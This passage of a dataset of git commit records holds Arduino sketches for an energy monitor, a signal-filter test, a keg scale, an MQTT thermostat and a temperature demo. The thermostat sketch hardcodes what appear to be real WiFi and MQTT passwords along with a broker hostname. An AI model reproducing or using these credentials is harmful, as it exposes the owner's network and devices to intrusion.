RESISTOR\n 18-27V 27mA SO- ---------------------- GND\nImpulse length: >= 30ms\nunits conversion:\nEnergy: 3200 imp = 1 KWh -> 1 imp = 0,3125 Wh;\nPower: 1 imps\/s = 1125 W;\nCurrent(voltage 230V)-> 1 imp\/s = 4.89 A;\nmaximum impulse frequency (30 A): 6.13 imp\/s -> period 163 ms\nbasic frequency (5 A): 1.02 imp\/s -> period 978.3 ms\nminimun impulse frequency (0.02 A): 1.0 imp\/min-> period 60000 ms\nMounting: DIN rail 18 mm (1 module)\ninclude flasing led proportional to load (1000 imp\/KWh)\n*\/\n#define SERIAL_OUTPUT 1\n\n#if SERIAL_OUTPUT\n# define SERIAL_BEGIN(...) Serial.begin(__VA_ARGS__)\n# define SERIAL_PRINT(...) Serial.print(__VA_ARGS__)\n# define SERIAL_PRINTLN(...) Serial.println(__VA_ARGS__)\n#else\n# define SERIAL_BEGIN(...)\n# define SERIAL_PRINT(...)\n# define SERIAL_PRINTLN(...)\n#endif\n\n#include \"ModbusSensor.h\"\n\n#define SERIAL_PORT 0 \/\/ Arduino only one serial port, Mega has 3 serial ports.\n#define ID_SLAVE 1\n#define REFRESH_INTERVAL 5000 \/\/ refresh time, 5 SECONDS\n#define WRITE_INTERVAL 300000UL \/\/ values send to serial port, 15 minutes (5 * 60 * 1000)\n#define KWH_2_WS 36000000 \nModbusSensor wattmeter; \/\/ instance to collect data\n\/\/variables to process and send values\nfloat power;\nfloat maxPower;\nfloat minPower;\nfloat energy;\nfloat lastEnergy;\nboolean firstData;\n\nunsigned long previousMillis = 0;\nunsigned long currentMillis = 0;\n\n\nvoid setup() {\n SERIAL_BEGIN(9600);\n wattmeter.begin(SERIAL_PORT, ID_SLAVE, REFRESH_INTERVAL);\n SERIAL_PRINTLN(\"time(s), average power(W), max power(W), min power(W), energy(KWh)\");\n\n firstData = false;\n power = 0;\n maxPower = 0; \/\/ in case it has been recorded, use it\n minPower = 0;\n lastEnergy = 0; \/\/ in case it has been recorded, use it\n energy = lastEnergy;\n}\n\nvoid loop() {\n sei();\n if (wattmeter.available()) {\n power = wattmeter.read();\n if (!firstData) {\n if (maxPower < power) maxPower = power;\n if (minPower > power) minPower = power;\n }\n else {\n maxPower = power;\n minPower = power;\n firstData = false;\n }\n \/\/ backup energy, maxPower\n }\n\n currentMillis = millis();\n if (currentMillis - previousMillis >= WRITE_INTERVAL) {\n previousMillis = currentMillis;\n energy = wattmeter.readAcum();\n power = (energy - lastEnergy) * KWH_2_WS * 1000 \/ WRITE_INTERVAL; \/\/average power KWh\/s to W\n lastEnergy = energy;\n firstData = true;\n\n SERIAL_PRINT(currentMillis \/ 1000);\n SERIAL_PRINT(\",\");\n SERIAL_PRINT(power);\n SERIAL_PRINT(\",\");\n SERIAL_PRINT(maxPower);\n SERIAL_PRINT(\",\");\n SERIAL_PRINT(minPower);\n SERIAL_PRINT(\",\");\n SERIAL_PRINTLN(energy);\n\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ModbusEnergyMonitor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e9942ec75971b9252a31281f409b97f0d9dcbfa9","subject":"\uc2e0\ud638\ucc98\ub9ac \uc2dc\ubbac\ub808\uc774\uc158 \ucf54\ub4dc \ucd94\uac00","message":"\uc2e0\ud638\ucc98\ub9ac \uc2dc\ubbac\ub808\uc774\uc158 \ucf54\ub4dc \ucd94\uac00\n\nArduino\n","repos":"jeongjoohong\/project,jeongjoohong\/project,jeongjoohong\/project","old_file":"SignalProcessing\/test_sinc_convolution_arduino\/test_sinc_convolution_arduino.ino","new_file":"SignalProcessing\/test_sinc_convolution_arduino\/test_sinc_convolution_arduino.ino","new_contents":"#define VOLUME A0\n\n#define MILLISECONDS 1000L\n#define MICROSECONDS 1000000L\n\n#define BUFFER_SIZE 18\n\nconst bool isMicrosecond = true;\nconst float samplingFrequency = 60;\nunsigned long previousRead;\n\nfloat inputs[BUFFER_SIZE] = {};\nfloat sincF1[BUFFER_SIZE] = {};\nfloat sincF2[BUFFER_SIZE] = {};\nint inputsLength = sizeof(inputs) \/ sizeof(float);\nint sincF1Length = sizeof(sincF1) \/ sizeof(float);\nint sincF2Length = sizeof(sincF2) \/ sizeof(float);\n\nvoid setup() {\n Serial.begin(115200);\n\n float bandwidth = 1;\n float targetFreq1 = 7;\n float targetFreq2 = 10;\n sincFilter(sincF1, BUFFER_SIZE, samplingFrequency, bandwidth, targetFreq1);\n sincFilter(sincF2, BUFFER_SIZE, samplingFrequency, bandwidth, targetFreq2);\n}\n\nvoid loop() {\n unsigned long currentTimestamp = isMicrosecond ? micros() : millis();\n if (currentTimestamp - previousRead >= (isMicrosecond ? MICROSECONDS : MILLISECONDS) \/ samplingFrequency) {\n previousRead = currentTimestamp;\n int input = analogRead(VOLUME);\n float sampling = ((1024 * 0.5 - 1) - input) \/ 1024;\n Serial.println(sampling);\n\n for (int i = 0; i < (sizeof(inputs) \/ sizeof(float)) - 1; i++) { \n inputs[i] = inputs[i + 1];\n }\n inputs[(sizeof(inputs) \/ sizeof(float)) - 1] = sampling;\n\n bool isSame = true;\n int convF1Length = isSame ? inputsLength : inputsLength + sincF1Length - 1 ;\n float convF1[convF1Length] = {};\n int convF2Length = isSame ? inputsLength : inputsLength + sincF2Length - 1 ;\n float convF2[convF2Length] = {};\n \n convolution(inputs, inputsLength, sincF1, sincF1Length, convF1, isSame);\n convolution(inputs, inputsLength, sincF2, sincF2Length, convF2, isSame);\n }\n}\n\nvoid sincFilter(float* vector, int vectorSize, float samplingRate, float bandWidth, float shiftFrequency) {\n for (int i = 0; i < vectorSize; i++) {\n float timeVector = i \/ samplingRate;\n float x = bandWidth * (timeVector - (vectorSize \/ samplingRate * 0.5));\n float sinc;\n if (x == 0) {\n sinc = 1;\n } else {\n sinc = sin(x * PI) \/ (x * PI);\n }\n vector[i] = sinc * cos(2 * PI * shiftFrequency * timeVector);\n }\n \n float summation = 0;\n for (int i = 0; i < vectorSize; i++) {\n summation = summation + pow(vector[i], 2);\n }\n for (int i = 0; i < vectorSize; i++) {\n vector[i] = vector[i] \/ summation;\n }\n}\n\nvoid convolution(float *u, int uLength, float *v, int vLength, float *w, bool isSame) {\n float tmpArr[uLength + vLength - 1] = {};\n for (int i = 0; i < uLength + vLength - 1; i++) {\n int index = i;\n float tmpVal = 0;\n for (int j = 0; j < vLength; j++) {\n if (index >= 0 && index < uLength) {\n tmpVal += u[index] * v[j];\n }\n index--;\n tmpArr[i] = tmpVal;\n }\n }\n if (isSame) {\n int start = ceil((vLength - 1) \/ 2.0);\n for (int i = 0; i < uLength; i++) {\n w[i] = tmpArr[start+i]; \n }\n } else {\n for (int i = 0; i < uLength + vLength - 1; i++) {\n w[i] = tmpArr[i]; \n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SignalProcessing\/test_sinc_convolution_arduino\/test_sinc_convolution_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"123d38b2357c00e8934a406ab868878d8da905e9","subject":"hmm this seems to add more sense to look ahead","message":"hmm this seems to add more sense to look ahead\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"bc4a485a96aecf5910f0b43ef2e8b58f0d0e1ed5","subject":"Added symlink from example code to source code","message":"Added symlink from example code to source code\n\nSigned-off-by: Roman3349 <6b7cbc66756660b4790b3af1ec1507653acaa035@centrum.cz>\n","repos":"iqrfsdk\/clibiqrf-mcu,iqrfsdk\/clibiqrf-arduino,iqrfsdk\/clibiqrf-mcu,iqrfsdk\/clibiqrf-uc,iqrfsdk\/clibiqrf-mcu,iqrfsdk\/clibiqrf-arduino,iqrfsdk\/clibiqrf-uc,iqrfsdk\/clibiqrf-uc,iqrfsdk\/clibiqrf-arduino","old_file":"src\/Init.ino","new_file":"src\/Init.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Init.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b5ebda66b28990562cdc58353a3dc45ee7e7f4a0","subject":"Support ethernet shield.","message":"Support ethernet shield.\n","repos":"andresol\/kegweight,andresol\/kegweight,andresol\/kegweight,andresol\/kegweight","old_file":"Weight-Ethernet.ino","new_file":"Weight-Ethernet.ino","new_contents":"\n\/*\n *\n * Hx711.DOUT - pin #A1\n * Hx711.SCK - pin #A2\n *\n * LCD RS pin to digital pin 13\n * LCD Enable pin to digital pin 12\n * LCD D4 pin to digital pin 8\n * LCD D5 pin to digital pin 9\n * LCD D6 pin to digital pin 10\n * LCD D7 pin to digital pin 11\n * LCD R\/W pin to ground\n * 10K resistor:\n * ends to +5V and ground\n * wiper to LCD VO pin (pin 3)\n *\/\n\n\/\/ include the library code:\n#include <HX711.h>\n#include <LiquidCrystal.h>\n#include <stdlib.h>\n#include <string.h>\n#include <EEPROMex.h>\n#include <EEPROMVar.h> \/\/https:\/\/github.com\/thijse\/Arduino-Libraries\/tree\/master\/EEPROMEx\n\n#define DEBUG 0\n#define TEST 0\n\n#define WEIGHT_SENSORS 2\n#define DELAY 100\n#define DEFAULT_WEIGHT_TIME 1000\n#define DEFAULT_WEIGHT_TIME_FAST 50\n#define DEFAULT_WEIGHT_PRINT_TIME 500\n#define DEFAULT_EMPTY_VALUE 8236505\n#define BAUD_RATE 9600\n#define KILO 1000\n#define TAP_SIZE 330\n#define KEG_WEIGHT 5000\n#define USE_EEPROM 1\n#define btnRIGHT 0\n#define btnUP 1\n#define btnDOWN 2\n#define btnLEFT 3\n#define btnSELECT 4\n#define btnNONE 5\n\n#define BUTTON_PIN 0\n\n\/\/ initialize the library with the numbers of the interface pins\n\/\/LiquidCrystal lcd(13, 12, 8, 9, 10, 11); \/\/DEBUG\nLiquidCrystal lcd(8, 9, 4, 5, 6, 7); \/\/PROD\nHX711 scales[] = {\n HX711 (A1, A2), HX711 (A3, A4)}; \/\/A1 = ANALOG1 = DT \/\/ A2=SCK\nint eepromAddress[WEIGHT_SENSORS] = {0};\n\nunsigned long last[WEIGHT_SENSORS];\nunsigned long lastPrint[WEIGHT_SENSORS];\nconst String kilo = \"kg\";\n\n\/\/ KEY VARIABLES\nint lcd_key = btnNONE;\nint lcd_key_prev = btnNONE;\nunsigned long lcd_key_prev_pressed = 0;\nunsigned long millisPressedKey = 0;\nint buttonPressed = 0;\nunsigned long debounceTime = 0;\n\n\/\/ WEIGHT VARIABLES\nfloat lastValue[WEIGHT_SENSORS];\nunsigned int useFastWeight = 0;\n\n\/\/MENU\nchar* EMPTY = \" \";\nchar* menu[] = {\"Calibrate \" ,\"Tare \", \"Beersize \"};\nunsigned int lastItem = 1;\nunsigned int menuMarker = 0;\n\n\/\/GUI VARIABLES\nunsigned int printGUI = 0;\n\nvoid setup() {\n Serial.begin(BAUD_RATE);\n \n lcd.begin(16, 2);\n lcd.print(\"Starting...\");\n for (int i = 0; i < WEIGHT_SENSORS; i++) {\n \/\/scales[i].set_scale(-228.f);\n lastValue[i] = 0;\n last[i] = 0;\n lastPrint[i] = 0;\n scales[i].set_scale(228.f);\n scales[i].tare();\n delay(DELAY);\n if (USE_EEPROM) { \/\/Firstime use please use calibrate.\n double value = EEPROM.readDouble(eepromAddress[i]);\n scales[i].set_offset(value);\/\/TODO: use eeprom. \n } \n }\n lcd.clear();\n}\n\n\/\/ read the buttons\nint read_LCD_buttons() {\n int adc_key_in = 0;\n adc_key_in = analogRead(BUTTON_PIN);\n \/\/ my buttons when read are centered at these valies: 0, 97, 254, 437, 639\n \/\/ we add approx 50 to those values and check to see if we are close\n if (adc_key_in > 1000) return btnNONE; \/\/ We make this the 1st option for speed reasons since it will be the most likely result\n \/\/ For V1.1 us this threshold\n if (adc_key_in < 50) return btnRIGHT;\n if (adc_key_in < 150) return btnUP;\n if (adc_key_in < 350) return btnDOWN;\n if (adc_key_in < 550) return btnLEFT;\n if (adc_key_in < 850) return btnSELECT;\n return btnNONE; \/\/ when all others fail, return this...\n}\n\n\nint getButtonPressed() {\n lcd_key = read_LCD_buttons(); \/\/ read the buttons\n unsigned long now = millis();\n if (lcd_key == btnNONE) {\n return btnNONE;\n } else if (millisPressedKey == 0 && lcd_key != btnNONE) {\n millisPressedKey = now;\n return btnNONE;\n } else if (((millisPressedKey + 10) < now) && (debounceTime < now)) {\n int lcd_key_confirm = read_LCD_buttons();\n debounceTime = now + 300;\n millisPressedKey = 0;\n if (lcd_key == lcd_key_confirm) {\n \/\/Serial.println(lcd_key);\n buttonPressed = 0;\n return lcd_key;\n } else {\n millisPressedKey = now;\n return btnNONE;\n }\n } else {\n return btnNONE;\n }\n}\n\nString getName(const int i) {\n String weightName = String(\"V\");\n weightName = weightName + (i + 1) + \":\";\n return weightName;\n}\n\nfloat getValue(HX711 scale) {\n float value = scale.get_units(3) ;\n if (value > -10 && value < 10) {\n value = 0;\n }\n return value;\n}\n\nvoid printToSerial(const float value, const unsigned long now, String& weightName, const int i) {\n if ((lastPrint[i] + DEFAULT_WEIGHT_PRINT_TIME) < now || ((useFastWeight && (last[i] + DEFAULT_WEIGHT_TIME_FAST) < now))) {\n Serial.print(weightName);\n Serial.println(value, 1);\n lastPrint[i] = now;\n }\n}\n\nint getRow(const int i) {\n return i % 2;\n} \n\nint getCol(const int i) {\n int col = 0;\n if (i > 1) {\n col = 9;\n }\n return col;\n}\n\nvoid getWeight(const float value, char* buffer) {\n int decimals = 0;\n if (value > KILO * 10 || (KILO * -10) < value) {\n if (WEIGHT_SENSORS > 2) {\n decimals = 1; \n } else {\n if (value < 0) {\n decimals = 2; \n } else {\n decimals = 3; \n }\n }\n } else {\n if (WEIGHT_SENSORS > 2) {\n decimals = 0; \n } else {\n decimals = 2;\n }\n }\n dtostrf((value \/ KILO), 1, decimals, buffer);\n}\n\nvoid printWeightOnLCD(const float value, String weightName) {\n if (printGUI) {\n return;\n }\n char* weight = new char[7];\n getWeight(value, weight);\n \/\/lcd.clear();\n if (WEIGHT_SENSORS > 2) {\n lcd.print(weight + kilo);\n } else {\n if (WEIGHT_SENSORS == 1) {\n lcd.print(weightName + weight + kilo + \" \");\n lcd.setCursor(0, 1);\n String beers = String(\"Beers:\");\n char numberOfBeers[4];\n dtostrf(((value - KEG_WEIGHT) \/ (TAP_SIZE)), 1, 0, numberOfBeers);\n lcd.print(beers + numberOfBeers + \" (0.33)\");\n } else {\n char numberOfBeers[4];\n dtostrf(((value - KEG_WEIGHT) \/ (TAP_SIZE)), 1, 0, numberOfBeers);\n lcd.print(weightName + weight + kilo + \" (\" + numberOfBeers +\") \");\n }\n }\n \n delete weight;\n}\n\nvoid doWeigth() {\n if (printGUI){\n return;\n }\n unsigned long now = millis();\n \n for (int i = 0; i < WEIGHT_SENSORS; i++) {\n if (((last[i] + DEFAULT_WEIGHT_TIME) < now) || ((useFastWeight && (last[i] + DEFAULT_WEIGHT_TIME_FAST) < now))) {\n lcd.setCursor(0, 1);\n\n String weightName = getName(i);\n float value = getValue(scales[i]);\n\n if ((value > (lastValue[i] + 50)) || (value < (lastValue[i] - 50))) {\n useFastWeight = 1;\n lastValue[i] = value;\n } else {\n useFastWeight = 0;\n }\n \n printToSerial(value, now, weightName, i);\n\n const int row = getRow(i);\n const int col = getCol(i);\n lcd.setCursor(col, row);\n \n printWeightOnLCD(value, weightName);\n\n last[i] = millis();\n }\n }\n}\n\n\nvoid printMenuMarker(int up) {\n \/\/Menu marker\n if (up) {\n lcd.setCursor(0, 0);\n lcd.print(\" \");\n lcd.setCursor(0, 1);\n lcd.print(\">\");\n } else {\n lcd.setCursor(0, 0);\n lcd.print(\">\");\n lcd.setCursor(0, 1);\n lcd.print(\" \");\n }\n}\n\nvoid printMenu() {\n if (!printGUI){\n return;\n }\n int up = menuMarker % 2;\n printMenuMarker(up);\n if (!up) {\n lcd.setCursor(1, 0);\n lcd.print(menu[menuMarker]);\n if (menuMarker < lastItem) {\n lcd.setCursor(1, 1);\n lcd.print(menu[menuMarker + 1]);\n } else {\n lcd.setCursor(1, 1);\n lcd.print(EMPTY);\n }\n } else {\n lcd.setCursor(1, 0);\n lcd.print(menu[menuMarker - 1]);\n lcd.setCursor(1, 1);\n lcd.print(menu[menuMarker]);\n }\n \n}\n\nvoid doTare() {\n lcd.clear();\n lcd.setCursor(0, 1);\n lcd.print(\"Tare all weights\");\n for (int i = 0; i < WEIGHT_SENSORS; i++) {\n scales[i].tare();\n delay(DELAY);\n }\n lcd.print(\"Done tare...\");\n delay(DELAY * 3);\n printGUI = 0;\n lcd.clear();\n}\n\nvoid doCalibrate() { \n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"Calibrate all weights\");\n lcd.setCursor(0, 1);\n lcd.print(\"Please clear all.\");\n delay(4000);\n for (int i = 0; i < WEIGHT_SENSORS; i++) {\n scales[i].tare();\n double sum = scales[i].read_average(10);\n#if defined(DEBUG)\n Serial.print(\"Offset is\");\n Serial.println(sum);\n \/\/TODO: Safe into eeprom. http:\/\/playground.arduino.cc\/Code\/EEPROMex\n#endif\n EEPROM.writeDouble(eepromAddress[i], sum);\n delay(DELAY);\n printGUI = 0;\n lcd.clear();\n }\n}\n\nvoid doButtonAction(int btn) {\n if (btn != btnNONE) {\n#if defined(DEBUG)\n Serial.print(btn);\n#endif\n\n switch (btn) {\n case btnRIGHT: {\n if (printGUI) {\n \n } else {\n lcd.clear();\n printGUI = 1;\n }\n break;\n }\n case btnSELECT: {\n if (printGUI) {\n if (menuMarker == 1) {\n doTare(); \n } else if (menuMarker == 0) {\n doCalibrate();\n }\n }\n break;\n }\n case btnLEFT: {\n if (printGUI) {\n lcd.clear();\n printGUI = 0;\n } else {\n \n }\n break;\n }\n case btnUP: {\n if (menuMarker == 0) {\n menuMarker = lastItem;\n } else {\n menuMarker = menuMarker - 1;\n }\n break;\n }\n case btnDOWN: {\n if (printGUI) {\n if (menuMarker >= lastItem) {\n menuMarker = 0;\n } else {\n menuMarker = menuMarker + 1;\n }\n }\n break;\n }\n case btnNONE:\n {\n break;\n }\n }\n }\n}\n\nvoid loop() {\n int btn = getButtonPressed();\n doButtonAction(btn);\n doWeigth();\n printMenu();\n delay(2);\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Weight-Ethernet.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"46760e189ab89d440f6fe0b8751cc3240bc33538","subject":"Thermostat code","message":"Thermostat code\n","repos":"frofro1964\/Arduino-Auto-Gauge","old_file":"TSTAT\/TSTAT.ino","new_file":"TSTAT\/TSTAT.ino","new_contents":"\n\n\/\/ include the library code:\n#include <Wire.h>\n#include <LiquidCrystal_I2C.h>\n#include <ESP8266WiFi.h>\n#include <MQTT.h>\n#include <stdlib.h>\n\nLiquidCrystal_I2C lcd(0x3F,16,2); \/\/Addr: 0x3F, 20 chars & 4 lines\n\n#define CLIENT_ID \"FROSTAT_2\"\n#define SET_POINT \"\/frostat_2\/setpoint\"\n#define T_AMB \"\/frostat_2\/tamb\"\n#define H_AMB \"\/frostat_2\/hamb\"\n#define STATUS \"\/frostat_2\/status\"\n\n#define TRUE 1\n#define FALSE 0\n\n#define USER \"pi\"\n#define PWD \"Michid24\"\n\n\/\/Outputs\n#define CALL_HEAT 14\n#define CALL_AC 12\n#define CALL_FAN 13\n#define CALL_AUX 15\n\n\/\/Inputs\n#define KEY_UP 10\n#define KEY_DOWN 9\n#define KEY_MENU 10\n\n\n\n\n\nMQTT myMqtt(CLIENT_ID, \"fronet.mooo.com\", 1883);\n\n\nconst char* ssid = \"Sneaky Cat\";\nconst char* password = \"michid24\";\n\nconst int Hysterisis_Set = 1;\n\n\nbyte fetch_humidity_temperature(unsigned int *p_Humidity, unsigned int *p_Temperature);\nvoid print_float(float f, int num_digits);\n\nfloat hamb, tamb;\nunsigned int H_dat, T_dat;\n\nint set_point = 24;\n\nint key_up_state = 0;\nint key_down_state = 0;\nint key_menu_state = 0;\n \nint count = 0;\n\nString last = \"NaN\";\nString Status;\n\n\n\n\/\/ Connect via i2c, default address #0 (A0-A2 not jumpered)\n\n\nvoid setup() {\n \n \/\/Setup relay outputs\n pinMode(CALL_HEAT, OUTPUT);\n digitalWrite(CALL_HEAT,HIGH);\n pinMode(CALL_AC, OUTPUT);\n digitalWrite(CALL_AC,HIGH);\n pinMode(CALL_FAN, OUTPUT);\n digitalWrite(CALL_FAN,HIGH);\n pinMode(CALL_AUX, OUTPUT);\n digitalWrite(CALL_AUX,HIGH);\n\n \/\/Setup input pins\n pinMode(KEY_UP, INPUT);\n pinMode(KEY_DOWN, INPUT);\n pinMode(KEY_MENU, INPUT);\n\n \/\/Setup LCD\n Wire.begin(2,0);\n lcd.init();\n lcd.backlight();\n lcd.setCursor(0, 0);\n\n \/\/Setup Wifi\n WiFi.begin(ssid,password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n lcd.print(\".\");\n }\n\n \/\/Print ip\n lcd.setCursor(0, 0);\n lcd.print(\"IP address: \");\n lcd.setCursor(0, 1);\n lcd.print(WiFi.localIP());\n delay(2000);\n \n\n \/\/Setup MQTT\n myMqtt.onConnected(myConnectedCb);\n myMqtt.onDisconnected(myDisconnectedCb);\n myMqtt.onPublished(myPublishedCb);\n myMqtt.onData(myDataCb);\n myMqtt.connect();\n\n \n \/\/Clear for main loop\n lcd.clear();\n}\n\nvoid loop() {\n\n byte _status;\n unsigned int H_dat, T_dat;\n float RH, T_C;\n char buff[6];\n String Tamb, Hamb, Set_Point_str;\n int Hysterisis = Hysterisis_Set;\n\n if (last == \"NaN\"){\n Hysterisis = 0; \n }\n\n myMqtt.subscribe(SET_POINT);\n\n key_up_state = digitalRead(KEY_UP);\n key_down_state = digitalRead(KEY_DOWN);\n key_menu_state = digitalRead(KEY_MENU);\n \n\n\n _status = fetch_humidity_temperature(&H_dat, &T_dat);\n \n \n\n\n if(key_up_state == 0){\n set_point = set_point + 1;\n itoa(set_point, buff, 10);\n Set_Point_str = buff;\n myMqtt.publish(SET_POINT, Set_Point_str);\n \n }\n if(key_down_state == 0){\n set_point = set_point - 1;\n itoa(set_point, buff, 10);\n Set_Point_str = buff;\n myMqtt.publish(SET_POINT, Set_Point_str);\n }\n\n \n\n \n \n\n \n RH = (float) H_dat * 6.10e-3;\n Hamb = dtostrf(RH, 4, 2, buff);\n T_C = (float) T_dat * 1.007e-2 - 40.0;\n Tamb = dtostrf(T_C,4,2,buff);\n\n\n\n if((set_point - Hysterisis) > T_C ){\n digitalWrite(CALL_HEAT,LOW);\n Status = \"Heating\";\n \n }\n if((set_point + Hysterisis) < T_C){\n digitalWrite(CALL_HEAT,HIGH);\n Status = \"Idle\";\n }\n\n \n if (Status != last){\n myMqtt.publish(STATUS,Status);\n }\n \n if (count >= 10){\n\n myMqtt.publish(T_AMB, Tamb);\n myMqtt.publish(H_AMB, Hamb);\n count = 0;\n }\n\n\n lcd.setCursor(0,0);\n lcd.print(\"Set Temp: \");\n lcd.print(set_point);\n lcd.print((char)223);\n lcd.print(\"C \");\n\n lcd.setCursor(0, 1);\n print_float(T_C, 2);\n lcd.print((char)223);\n lcd.print(\"C\");\n\n lcd.setCursor(8, 1); \n print_float(RH, 1);\n lcd.print(\"%H\");\n delay(300);\n\n count++;\n\n\n \n last = Status;\n}\n\n\n\n\/*\n * \n *\/\nvoid myConnectedCb() {\n \/\/Serial.println(\"connected to MQTT server\");\n}\n\nvoid myDisconnectedCb() {\n \/\/Serial.println(\"disconnected. try to reconnect...\");\n delay(500);\n myMqtt.connect();\n}\n\nvoid myPublishedCb() {\n \/\/Serial.println(\"published.\");\n}\n\nvoid myDataCb(String& topic, String& data) {\n\n String buff;\n int len = 8;\n \n if(topic == SET_POINT){\n \n set_point = atoi(data.c_str());\n\n \n }\n\n\n}\n\n\nbyte fetch_humidity_temperature(unsigned int *p_H_dat, unsigned int *p_T_dat)\n{\n byte address, Hum_H, Hum_L, Temp_H, Temp_L, _status;\n unsigned int H_dat, T_dat;\n address = 0x27;;\n Wire.beginTransmission(address); \n Wire.endTransmission();\n delay(100);\n \n Wire.requestFrom((int)address, (int) 4);\n Hum_H = Wire.read();\n Hum_L = Wire.read();\n Temp_H = Wire.read();\n Temp_L = Wire.read();\n Wire.endTransmission();\n \n _status = (Hum_H >> 6) & 0x03;\n Hum_H = Hum_H & 0x3f;\n H_dat = (((unsigned int)Hum_H) << 8) | Hum_L;\n T_dat = (((unsigned int)Temp_H) << 8) | Temp_L;\n T_dat = T_dat \/ 4;\n *p_H_dat = H_dat;\n *p_T_dat = T_dat;\n return(_status);\n}\n \n\n\n \nvoid print_float(float f, int num_digits)\n{\n int f_int;\n int pows_of_ten[4] = {1, 10, 100, 1000};\n int multiplier, whole, fract, d, n;\n\n multiplier = pows_of_ten[num_digits];\n if (f < 0.0)\n {\n f = -f;\n lcd.print(\"-\");\n }\n whole = (int) f;\n fract = (int) (multiplier * (f - (float)whole));\n\n lcd.print(whole);\n lcd.print(\".\");\n\n for (n=num_digits-1; n>=0; n--) \/\/ print each digit with no leading zero suppression\n {\n d = fract \/ pows_of_ten[n];\n lcd.print(d);\n fract = fract % pows_of_ten[n];\n }\n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TSTAT\/TSTAT.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"601de9d5f41e09f31f52a7f34744e61aef68c140","subject":"Stellaris First Demo Example Added","message":"Stellaris First Demo Example Added\n","repos":"dvdvideo1234\/Energia,qtonthat\/Energia,cevatbostancioglu\/Energia,dvdvideo1234\/Energia,brianonn\/Energia,dvdvideo1234\/Energia,radiolok\/Energia,NoPinky\/Energia,bobintornado\/Energia,sanyaade-iot\/Energia,croberts15\/Energia,radiolok\/Energia,bobintornado\/Energia,brianonn\/Energia,battosai30\/Energia,sanyaade-iot\/Energia,danielohh\/Energia,battosai30\/Energia,croberts15\/Energia,cevatbostancioglu\/Energia,radiolok\/Energia,martianmartin\/Energia,NoPinky\/Energia,cevatbostancioglu\/Energia,martianmartin\/Energia,radiolok\/Energia,battosai30\/Energia,sanyaade-iot\/Energia,radiolok\/Energia,DavidUser\/Energia,brianonn\/Energia,DavidUser\/Energia,croberts15\/Energia,martianmartin\/Energia,qtonthat\/Energia,bobintornado\/Energia,danielohh\/Energia,bobintornado\/Energia,battosai30\/Energia,NoPinky\/Energia,NoPinky\/Energia,qtonthat\/Energia,martianmartin\/Energia,cevatbostancioglu\/Energia,sanyaade-iot\/Energia,vigneshmanix\/Energia,DavidUser\/Energia,battosai30\/Energia,bobintornado\/Energia,martianmartin\/Energia,croberts15\/Energia,qtonthat\/Energia,croberts15\/Energia,vigneshmanix\/Energia,danielohh\/Energia,brianonn\/Energia,vigneshmanix\/Energia,qtonthat\/Energia,croberts15\/Energia,cevatbostancioglu\/Energia,radiolok\/Energia,brianonn\/Energia,qtonthat\/Energia,vigneshmanix\/Energia,DavidUser\/Energia,vigneshmanix\/Energia,DavidUser\/Energia,DavidUser\/Energia,NoPinky\/Energia,qtonthat\/Energia,bobintornado\/Energia,danielohh\/Energia,battosai30\/Energia,cevatbostancioglu\/Energia,bobintornado\/Energia,battosai30\/Energia,croberts15\/Energia,dvdvideo1234\/Energia,dvdvideo1234\/Energia,dvdvideo1234\/Energia,danielohh\/Energia,brianonn\/Energia,NoPinky\/Energia,martianmartin\/Energia,danielohh\/Energia,sanyaade-iot\/Energia,NoPinky\/Energia,sanyaade-iot\/Energia,cevatbostancioglu\/Energia,dvdvideo1234\/Energia,vigneshmanix\/Energia,sanyaade-iot\/Energia,brianonn\/Energia,radiolok\/Energia,DavidUser\/Energia,vigneshmanix\/Energia,martianmartin\/Energia,danielohh\/Energia","old_file":"examples\/1.Basics\/Stellar_Temp_RGB\/Stellar_Temp_RGB.ino","new_file":"examples\/1.Basics\/Stellar_Temp_RGB\/Stellar_Temp_RGB.ino","new_contents":"\/*\n Stellaris Demo\nSimilar to the one originally flashed on TI's Stellaris.\nThis sketch use internal temperature sensor to command the RGB led.\nPushButton 1 is used to save the temperature.\n\nNo Hardware Required.\n\nCreated 2014-04-03\nby Alessio Graziano *\/\n\n#define HALFRANGE 5.0f \/\/Maximum difference between saved and present temperature\n\nfloat temp0=304; \/\/Initial Zero temperature\n\nvoid setup()\n{\n \/\/Set all leds as output\n pinMode( RED_LED, OUTPUT );\n pinMode( BLUE_LED, OUTPUT );\n pinMode( GREEN_LED, OUTPUT );\n\n \/\/Set PUSBUTTON1 as input and attach interrupt\n pinMode(PUSH1,INPUT_PULLUP);\n attachInterrupt(PUSH1,resetTemp0,FALLING);\n\n \/\/Init serial\n Serial.begin(9600);\n\n}\n\nfloat temperature,dt;\n\nvoid loop()\n{\n \/\/Evaluates temperature in K (The International System of Units rocks!)\n temperature=(float) ( 4206.5 - 2475*analogRead(TEMPSENSOR)\/4096 ) \/10; \/\/Convert as shown in the Stellaris Workshop Book\n\n \/\/Evaluate difference between present and saved temp\n dt=temperature-temp0;\n\n if(fabs(dt)<0.5) \/\/If temperature near saved one\n digitalWrite(GREEN_LED,HIGH); \/\/Turn Green Led On\n else\n digitalWrite(GREEN_LED,LOW);\n\n 